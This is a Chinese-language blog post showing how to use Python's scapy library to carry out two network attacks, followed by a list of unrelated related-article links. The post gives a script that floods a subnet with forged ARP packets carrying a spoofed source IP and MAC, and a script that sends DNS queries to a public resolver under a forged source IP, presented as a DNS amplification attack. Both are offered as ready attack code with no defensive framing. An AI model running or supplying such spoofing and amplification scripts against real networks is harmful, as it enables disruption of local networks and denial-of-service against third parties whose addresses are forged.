Python中使用scapy模拟数据包实现arp攻击、dns放大攻击例子


Posted in Python onOctober 23, 2014

scapy是python写的一个功能强大的交互式数据包处理程序,可用来发送、嗅探、解析和伪造网络数据包,常常被用到网络攻击和测试中。

这里就直接用python的scapy搞。

这里是arp的攻击方式,你可以做成arp攻击。

#!/usr/bin/python

"""

ARP attack

"""

import sys, os

from scapy.all import *

if os.geteuid() != 0:

    print "This program must be run as root. Aborting."

    sys.exit()
if len(sys.argv) < 2:

    print "Pkease Use %s x.x.x" % (sys.argv[0])

    exit()

attackIP = sys.argv[1] + ".0/24"

srploop(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=attackIP, psrc="192.168.1.100", hwsrc="00:66:66:66:66:66"), timeout=2)

dns放大攻击

#coding:utf-8

from scapy import *

from scapy.all import *
a = IP(dst='8.8.8.8',src='192.168.1.200') #192.168.1.200 为伪造的源ip

b = UDP(dport=53)

c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0)

c.qd=DNSQR(qname='www.qq.com',qtype=1,qclass=1)

p = a/b/c

send(p)

~
Python 相关文章推荐
python笔记(1) 关于我们应不应该继续学习python
Oct 24 Python
Python函数返回值实例分析
Jun 08 Python
python下调用pytesseract识别某网站验证码的实现方法
Jun 06 Python
python 获取list特定元素下标的实例讲解
Apr 09 Python
Python爬取qq空间说说的实例代码
Aug 17 Python
Laravel+Dingo/Api 自定义响应的实现
Feb 17 Python
python调用matlab的m自定义函数方法
Feb 18 Python
对python中的*args与**kwgs的含义与作用详解
Aug 28 Python
Python实现大数据收集至excel的思路详解
Jan 03 Python
PyQt5 如何让界面和逻辑分离的方法
Mar 24 Python
python使用列表的最佳方案
Aug 12 Python
pandas按条件筛选数据的实现
Feb 20 Python
使用Python开发windows GUI程序入门实例
Oct 23 #Python
手动实现把python项目发布为exe可执行程序过程分享
Oct 23 #Python
python文件操作整理汇总
Oct 21 #Python
Python中input和raw_input的一点区别
Oct 21 #Python
Python中if __name__ == &quot;__main__&quot;详细解释
Oct 21 #Python
Python创建文件和追加文件内容实例
Oct 21 #Python
python3生成随机数实例
Oct 20 #Python
You might like
php查询mssql出现乱码的解决方法
2014/12/29 PHP
js控制框架刷新
2008/08/01 Javascript
简单通用的JS滑动门代码
2008/12/19 Javascript
得到jQuery detach()后节点中的某个值实现代码
2013/02/05 Javascript
JQuery写动态树示例代码
2013/07/31 Javascript
PHP使用方法重载实现动态创建属性的get和set方法
2014/11/17 Javascript
Nodejs实现多人同时在线移动鼠标的小游戏分享
2014/12/06 NodeJs
jQuery简单实现验证邮箱格式
2015/07/15 Javascript
JavaScript常用本地对象小结
2016/03/28 Javascript
阻止表单提交按钮多次提交的完美解决方法
2016/05/16 Javascript
vue addRoutes实现动态权限路由菜单的示例
2018/05/15 Javascript
jquery分页插件pagination使用教程
2018/10/23 jQuery
详解React中合并单元格的正确写法
2019/01/08 Javascript
vue实现的下拉框功能示例
2019/01/29 Javascript
JavaScript中变量提升和函数提升的详解
2020/08/07 Javascript
JavaScript点击按钮生成4位随机验证码
2021/01/28 Javascript
nestjs中异常过滤器Exceptionfilter的具体使用
2021/02/07 Javascript
[01:23:59]2018DOTA2亚洲邀请赛 4.1 小组赛 B组 VP vs Secret
2018/04/03 DOTA
[46:57]EG vs Winstrike 2018国际邀请赛小组赛BO2 第二场 8.18
2018/08/19 DOTA
在Django的session中使用User对象的方法
2015/07/23 Python
使用pyecharts无法import Bar的解决方案
2020/04/23 Python
python 中的int()函数怎么用
2017/10/17 Python
python根据unicode判断语言类型实例代码
2018/01/17 Python
Python绘制正余弦函数图像的方法
2018/08/28 Python
python基于TCP实现的文件下载器功能案例
2019/12/10 Python
倩碧美国官网:Clinique美国
2016/07/20 全球购物
享誉全球的多元化时尚精品购物平台:Farfetch发发奇(支持中文)
2017/08/08 全球购物
阿迪达斯荷兰官方网站:adidas荷兰
2018/03/16 全球购物
abstract class和interface有什么区别?
2012/01/03 面试题
《天安门广场》教学反思
2014/04/23 职场文书
企业法人授权委托书
2014/09/25 职场文书
考试作弊检讨书1000字(5篇)
2014/10/19 职场文书
青年文明号申报材料
2014/12/23 职场文书
乌镇导游词
2015/02/02 职场文书
网络妈妈观后感
2015/06/08 职场文书
优质服务心得体会(共4篇)
2016/01/22 职场文书